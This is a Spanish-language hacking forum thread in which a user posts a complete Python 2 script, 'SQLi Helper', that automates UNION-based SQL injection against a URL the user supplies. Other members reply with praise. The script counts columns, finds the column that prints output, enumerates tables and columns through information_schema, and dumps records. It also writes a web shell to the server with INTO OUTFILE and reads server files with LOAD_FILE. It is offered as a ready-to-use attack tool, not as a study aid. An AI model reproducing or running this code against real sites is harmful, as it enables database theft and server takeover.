comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

SQLi Helper

  • 4 Respuestas
  • 1687 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Once

  • *
  • Underc0der
  • Mensajes: 385
  • Actividad:
    5%
  • Reputación 0
    • Ver Perfil
    • El blog de Once
  • Twitter: @don_once
« en: Enero 13, 2013, 02:31:43 am »
Buscando en mis backups un par de libros, acabo de encontrar este script que codee hace un buen tiempo ya.

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

Las opciones que tiene son:

Citar
Opciones:
    1. Sacar Tablas por limit.
    2. Sacar Tablas por Group_concat().

    3. Sacar Columnas por Limit.
    4. Sacar columnas por Group_concat().


    5. Sacar Registros.

    6. Dumpear Shell.
    7. Cargar archivos (read_file).

    8. Salir.

Código: Python
  1. #!/usr/bin/python2
  2. # -*- coding: utf-8 -*-
  3. #11Sep
  4.  
  5. import urllib, os, sys, time, re
  6.  
  7. # Menu
  8. def menu():
  9.     print '''
  10. Opciones:
  11.    1. Sacar Tablas por limit.
  12.    2. Sacar Tablas por Group_concat().
  13.  
  14.    3. Sacar Columnas por Limit.
  15.    4. Sacar columnas por Group_concat().
  16.  
  17.  
  18.    5. Sacar Registros.
  19.  
  20.    6. Dumpear Shell.
  21.    7. Cargar archivos (read_file).
  22.  
  23.    8. Salir.
  24. '''
  25. # Limpiamos la terminal dependiendo del SO
  26. def limpiar():
  27.     if sys.platform == 'win32':
  28.         os.system('cls')
  29.     else:
  30.         os.system('clear')
  31.     if not os.path.isdir(RUTA +'/logs'):
  32.         os.mkdir(RUTA +'/logs')
  33.  
  34. # Funcion para guardar el log
  35. def guardar(datos):
  36.     tmp = open(RUTA + '/logs/%s.txt' % host, 'a')
  37.     tmp.write(datos+'\r')
  38.     tmp.close()
  39.  
  40. # Convertir String a Hexadecimal
  41. def hexadecimal(palabra):
  42.     tmp=''
  43.     for i in palabra:
  44.         tmp+=hex(ord(i))
  45.     return '0x'+str(tmp.replace('0x', ''))
  46.  
  47. # Dumpear archivos
  48. def dumpear():
  49.     shell = raw_input('Ingrese el codigo de la shell > ')
  50.     ruta = raw_input('Ingrese la ruta del archivo (este no puede estar repetido) > ')
  51.  
  52.     shell = shell.replace('\'', '\"')
  53.     shell = urllib.quote('\'%s\'' % shell)
  54.     ruta = urllib.quote('\'%s\'' % ruta)
  55.  
  56.     inyeccion = inj
  57.     inyeccion = inyeccion.replace('-VULNERABLE-', shell)
  58.     inyeccion += '+INTO+OUTFILE+%s+--' % ruta
  59.  
  60.     tmp = urllib.urlopen(URL + inyeccion).read()
  61.  
  62.     print 'Revise la ruta para verificar qeu se subio la shell'
  63.     raw_input()
  64.  
  65. # Cargar Archivos
  66. def loadfile():
  67.     ruta = raw_input('Ingrese la ruta del archivo a cargar > ')
  68.     ruta = urllib.quote('\'%s\'' % ruta)
  69.  
  70.     inyeccion = inj
  71.     inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d494e4943494f2d,LOAD_FILE+(%s),0x2d494e4943494f2d)' % ruta) # -INICIO-
  72.  
  73.     tmp = urllib.urlopen(URL + inyeccion).read()
  74.     tmp = tmp.split('-INICIO-')
  75.  
  76.     if (len(tmp) < 2):
  77.         print 'No se pudo leer el archivo'
  78.     else:
  79.         archivo = open(RUTA + '/logs/%sdump.txt' % host, 'a')
  80.         archivo.write('\r\n[+] ' + URL + ruta)
  81.         archivo.write(tmp[1])
  82.         archivo.write('\r\n[-] ' + URL + ruta)
  83.         archivo.close()
  84.  
  85.         print 'Revise en la carpeta logs el archivo: %sdump.txt' % host
  86.     raw_input()
  87.  
  88. # Hallar el numero de columnas
  89. def hallar():
  90.     error = ('unknown column','mysql_fetch_row','mysql_fetch_assoc','mysql_fetch_array','mysql_numrows')
  91.     for y in range(1,100):
  92.         inyeccion ='+order+by+%s+--' % str(y)
  93.         tmp = urllib.urlopen(URL + inyeccion).read().lower()
  94.         for i in error:
  95.             if i in tmp:
  96.                 print '[+] \t <!-- La aplicacion usa %s columnas -->' % str(y - 1)
  97.                 guardar('\t <!-- La aplicacion usa %s columnas -->' % str(y - 1))
  98.                 return y - 1
  99.     print 'Escaneadas 100 Columnas'
  100.     exit()
  101.  
  102. # Hallar la columna vulnerable
  103. def vulnerable():
  104.     inyeccion = '+and+1=0+union+all+select+'
  105.     for i in range(1, colvul + 1):
  106.         inyeccion += hexadecimal('-COLUMNA%s-' % str(i)) + ','
  107.     inyeccion = inyeccion[:len(inyeccion)-1]
  108.     inyeccion += '+from+information_schema.tables+--'
  109.  
  110.     for i in range(1, colvul + 1):
  111.         tmp = urllib.urlopen(URL + inyeccion).read()
  112.         if '-COLUMNA%s-' % str(i) in tmp:
  113.             print '\t <!-- Columna vulnerable encontrada en: %s -->' % str(i)
  114.             guardar('\t <!-- Columna vulnerable encontrada en: %s -->' % str(i))
  115.             inyeccion = inyeccion.replace(hexadecimal('-COLUMNA%s-' % str(i)), 'table_name', 1) #-TABLAS-
  116.             tmp = urllib.urlopen(URL + inyeccion).read()
  117.             if 'CHARACTER_SETS' in tmp:
  118.                 inyeccion = inyeccion.replace('table_name', '-VULNERABLE-', 1)
  119.                 inyeccion = inyeccion.replace('+from+information_schema.tables+--', '')
  120.                 return inyeccion
  121.     print 'No se encontraron columnas vulnerables'
  122.     exit()
  123.  
  124. # Hallar datos relevantes
  125. def datos():
  126.     inyeccion=inj
  127.  
  128.     # Usuario
  129.     inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d534550415241444f522d,user(),0x2d534550415241444f522d)')#-SEPARADOR-
  130.     tmp = urllib.urlopen(URL + inyeccion).read()
  131.     tmp = tmp.split('-SEPARADOR-')
  132.     print '\r\n\t <!-- El usuario es %s -->' % str(tmp[1])
  133.     guardar('\r\n\t <!-- El Usuario es: %s -->'% str(tmp[1]))
  134.  
  135.     # Base de Datos
  136.     inyeccion = inyeccion.replace('user()','database()')
  137.     tmp = urllib.urlopen(URL + inyeccion).read()
  138.     tmp = tmp.split('-SEPARADOR-')
  139.     print '\t <!-- La BD es: %s -->' % str(tmp[1])
  140.     guardar('\t <!-- La BD es: %s -->'% str(tmp[1]))
  141.  
  142.     # Version MySQL
  143.     inyeccion = inyeccion.replace('database()','version()')
  144.     tmp = urllib.urlopen(URL + inyeccion).read()
  145.     tmp = tmp.split('-SEPARADOR-')
  146.     print '\t <!-- La version de MySQL es: %s -->\r\n'% str(tmp[1])
  147.     guardar('\t <!-- La version de MySQL es: %s -->\r\n'% str(tmp[1]))
  148.  
  149. # Sacar Tablas por Limit
  150. def tablaslimit():
  151.     try:
  152.         print '\t <!-- Buscando Tablas por Limit -->'
  153.         guardar('\t <!-- Buscando Tablas por Limit -->')
  154.         inyeccion = inj
  155.         inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d5441424c41533a2d,table_name,0x2d5441424c41533a2d)') #-TABLAS:-
  156.         inyeccion += '+from+information_schema.tables+limit+-1,1+--'
  157.         contador = 0
  158.  
  159.         while True:
  160.             inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
  161.             tmp = urllib.urlopen(URL + inyeccion).read()
  162.             tmp = tmp.split('-TABLAS:-')
  163.  
  164.             if len(tmp) < 2:
  165.                 print '\t <!-- %s Tablas Encontradas -->' % str(contador)
  166.                 guardar('\t <!-- %s Tablas Encontradas -->' % str(contador))
  167.                 break
  168.             else:
  169.                 print tmp[1]
  170.                 guardar(tmp[1])
  171.             contador += 1
  172.         raw_input()
  173.     except KeyboardInterrupt:
  174.         return()
  175. #Sacar Tablas por Group
  176. def tablasgroup():
  177.     print '\t <!-- Buscando Columnas por Group -->'
  178.     guardar('\t <!-- Buscando Columnas por Group -->')
  179.  
  180.     inyeccion = inj
  181.     inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d5441424c41533a2d,replace(group_concat(table_name),0x2c,0x3c62723e),0x2d5441424c41533a2d)') #-TABLAS:-
  182.     inyeccion += '+from+information_schema.tables+--'
  183.  
  184.     tmp = urllib.urlopen(URL + inyeccion).read()
  185.     tmp = tmp.split('-TABLAS:-')
  186.     tmp[1] = tmp[1].replace('<br>','\n')
  187.     print tmp[1]
  188.     guardar(tmp[1])
  189.     tmp = len(tmp[1].split('\n'))
  190.     print '\t <!-- %i Tablas Encontradas -->' % tmp
  191.     guardar('\t <!-- %i Tablas Encontradas -->' % tmp)
  192.     raw_input()
  193.  
  194. # Sacar Columnas dependiendo de la tabla por limit
  195. def columnaslimit(tabla):
  196.     print '\r\n\t <!-- Buscando Columnas de la Tabla: %s por Limit -->' % tabla
  197.     guardar('\r\n\t <!-- Buscando Columnas de la Tabla: %s por Limit -->' % tabla)
  198.     inyeccion = inj
  199.     inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d434f4c554d4e41533a2d,column_name,0x2d434f4c554d4e41533a2d)')#-COLUMNAS:-
  200.     inyeccion += '+from+information_schema.columns+where+table_name=%s+limit+-1,1+--' % hexadecimal(tabla)
  201.  
  202.     contador = 0
  203.  
  204.     while True:
  205.         inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
  206.         tmp = urllib.urlopen(URL + inyeccion).read()
  207.         tmp = tmp.split('-COLUMNAS:-')
  208.  
  209.         if len(tmp) < 2:
  210.             print '\t <!-- %s Columnas encontradas en la Tabla %s -->' % (str(contador), tabla)
  211.             guardar('\t <!-- %s Columnas encontradas en la Tabla %s -->' % (str(contador), tabla))
  212.             break
  213.         else:
  214.             print tmp[1]
  215.             guardar(tmp[1])
  216.             contador += 1
  217.     raw_input()
  218. # Sacar Columnas Dependiendo de la tabla por Group
  219. def columnasgroup(tabla):
  220.     print '\r\n\t <!-- Buscando columnas de la Tabla %s por Group_concat() -->' % tabla
  221.     guardar('\r\n\t <!-- Buscando columnas de la Tabla %s por Group_concat() -->' % tabla)
  222.  
  223.     inyeccion = inj
  224.     inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d434f4c554d4e41533a2d,replace(group_concat(column_name),0x2c,0x3c62723e),0x2d434f4c554d4e41533a2d)')#-COLUMNAS:-
  225.     inyeccion += '+from+information_schema.columns+where+table_name=%s+--' % hexadecimal(tabla)
  226.  
  227.     tmp = urllib.urlopen(URL + inyeccion).read()
  228.     tmp = tmp.split('-COLUMNAS:-')
  229.  
  230.     tmp[1] = tmp[1].replace('<br>','\n')
  231.     print tmp[1]
  232.     guardar(tmp[1])
  233.     tmp = len(tmp[1].split('\n'))
  234.     print '\t <!-- %s Columnas encontradas en la Tabla: %s -->' % (str(tmp), tabla)
  235.     guardar('\t <!-- %s Columnas encontradas en la Tabla: %s -->' % (str(tmp), tabla))
  236.     raw_input()
  237.  
  238. # Sacar Registros de la columna
  239. def registros():
  240.     columna = raw_input('Ingrese el nombre de la Tabla > ')
  241.     registro = raw_input('Ingrese el nombre del campo(s)  > ')
  242.     print '\r\n\t <!-- sacando Registros de la Columna: %s -->' % columna
  243.     guardar('\r\n\t <!-- sacando Registros de la Columna: %s -->' % columna)
  244.  
  245.     registro = registro.replace(' ','')
  246.     registro = registro.split(',')
  247.     reg = ''
  248.  
  249.     for i in registro:
  250.         reg += '%s,%s,' % (hexadecimal(' %s:' % i), i)
  251.  
  252.     inyeccion = inj
  253.     inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d534550415241444f523a2d,%s0x2d534550415241444f523a2d)' % reg)#-SEPARADOR:-
  254.     inyeccion += '+from+%s+limit+-1,1+--' % columna
  255.  
  256.     contador = 0
  257.  
  258.     while True:
  259.         inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
  260.         tmp = urllib.urlopen(URL + inyeccion).read()
  261.         tmp = tmp.split('-SEPARADOR:-')
  262.  
  263.         if len(tmp) < 2:
  264.             print '\t <!-- %i Registros encontrados en la columna: %s -->' % (contador, columna)
  265.             guardar('\t <!-- %i Registros encontrados en la columna: %s -->' % (contador, columna))
  266.             break
  267.         else:
  268.             print tmp[1]
  269.             guardar(tmp[1])
  270.             contador += 1
  271.     raw_input()
  272. # ######################### #
  273. #                           #
  274. #           INICIO          #
  275. #                           #
  276. # ######################### #
  277.  
  278. #Inyeccion Original remplazar -VULNERABLE-
  279. # buscamos nuestra ruta
  280. RUTA = sys.path[0]
  281. # Limpiamos la terminal
  282. limpiar()
  283. print r'''
  284. ____             ___
  285. /\ _`\         /\_ \   __
  286. \ \,\L\_\    __ \//\ \ /\_\
  287. \/_\__ \  /'__`\ \ \ \ \/\ \
  288.   /\ \L\ \/\ \L\ \ \_\ \_\ \ \
  289.   \ `\____\ \___, \/\____\\ \_\
  290.    \/_____/\/___/\ \/____/ \/_/
  291.                 \ \_\
  292.                  \/_/
  293. __  __          ___                    ____
  294. /\ \/\ \       /\_ \                 /\ _`\
  295. \ \ \_\ \    __\//\ \   _____      __\ \ \L\ \
  296. \ \ _  \ /'__`\\ \ \ /\ '__`\ /'__`\ \ ,  /
  297.  \ \ \ \ \/\ __/ \_\ \_\ \ \L\ \/\ __/\ \ \\ \
  298.   \ \_\ \_\ \____\/\____\\ \ ,__/\ \____\\ \_\ \_\
  299.    \/_/\/_/\/____/\/____/ \ \ \/  \/____/ \/_/\/ /
  300.                            \ \_\
  301.                             \/_/
  302. '''
  303. URL = raw_input('[+]  Ingrese la url > ')
  304.  
  305. if re.match('^http://.+', URL.lower()):
  306.     host = URL.split('/')[2]
  307. else:
  308.     print 'Uso: http://web/pagina?variable=datos'
  309.     exit()
  310.  
  311. print '[+]  [%s] Inicio Buscando en: %s  [+]' % (str(time.ctime()), host)
  312. guardar('\r\n\t [+]  Escan realizado: %s  [+]' % str(time.ctime()))
  313. guardar(URL)
  314. # Buscanmos la cantidad de columnas
  315. colvul = hallar()
  316. # Buscamos la columna vulnerable, la que printea los datos de la BD
  317. inj = vulnerable()
  318. # Datos, Verion de MySQL, Usuario, BD
  319. datos()
  320.  
  321. while True:
  322.     menu()
  323.     opt = raw_input('Ingrese la opcion > ')
  324.     if opt == '1':
  325.         tablaslimit()
  326.     elif opt == '2':
  327.         tablasgroup()
  328.     elif opt == '3':
  329.         columnaslimit(raw_input('Ingrese el nombre de la tabla > '))
  330.     elif opt == '4':
  331.         columnasgroup(raw_input('Ingrese el nombre de la tabla > '))
  332.     elif opt == '5':
  333.         registros()
  334.     elif opt == '6':
  335.         dumpear()
  336.     elif opt == '7':
  337.         loadfile()
  338.     elif opt == '8':
  339.         break
  340.     else:
  341.         print 'Opcion incorrecta'
  342.         continue
  343.  
  344. print '[-]  [%s] Finalizado.  [-]' % str(time.ctime())
  345. guardar('[-]  [%s] Finalizado.  [-]' % str(time.ctime()))
  346.  
  347.  

En cuanto puedo, reviso el código y codeo una GUI

PD: Desconocia que habia una herramienta con el mismo nombre :P

Saludos!
« Última modificación: Enero 13, 2013, 02:33:31 am por 11Sep »






You are not allowed to view links. Register or Login

Desconectado charl11

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Enero 13, 2013, 07:31:10 am »
Buen aporte.

Podrías encodear una función para que el resultado del dump de datos me lo de cifrado en código binario?

Desconectado Once

  • *
  • Underc0der
  • Mensajes: 385
  • Actividad:
    5%
  • Reputación 0
    • Ver Perfil
    • El blog de Once
  • Twitter: @don_once
« Respuesta #2 en: Enero 13, 2013, 05:18:06 pm »
You are not allowed to view links. Register or Login
Buen aporte.

Podrías encodear una función para que el resultado del dump de datos me lo de cifrado en código binario?

Eso no sería un problema, pero ¿lo que necesitas no lo puedes hacer con un conversor?

Saludos!






You are not allowed to view links. Register or Login

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Enero 14, 2013, 05:15:01 pm »
Buen aporte che! Lo voy a investigar un poco jeje.

Gracias por compartir!

Saludos!
WhiZ


Desconectado Flemon

  • *
  • Underc0der
  • Mensajes: 235
  • Actividad:
    0%
  • Reputación 0
  • NO HAY FORMA DE DETENERME!!
    • Ver Perfil
    • Email
« Respuesta #4 en: Enero 14, 2013, 10:30:31 pm »
Excelente, esta espectacular.... en verdad esta muy bien codeado, y facil de entender...  :o ;D ;D
No intentes pararme, trata de defenderte, trata de matarme, pero de cualqueir forma TE SUPERARE

 

¿Te gustó el post? COMPARTILO!



[Código-Python] SQLi Searcher V3 - JaAViEr

Iniciado por JaAViEr

Respuestas: 0
Vistas: 968
Último mensaje Junio 03, 2011, 02:15:13 am
por JaAViEr
[Código-Python] SQLi Searcher QT JaAViEr

Iniciado por JaAViEr

Respuestas: 2
Vistas: 1046
Último mensaje Junio 27, 2011, 02:50:35 pm
por Comandante Linux
[Código-PyQT4] Html Helper - JaAViEr

Iniciado por JaAViEr

Respuestas: 0
Vistas: 1251
Último mensaje Agosto 21, 2011, 09:18:28 pm
por JaAViEr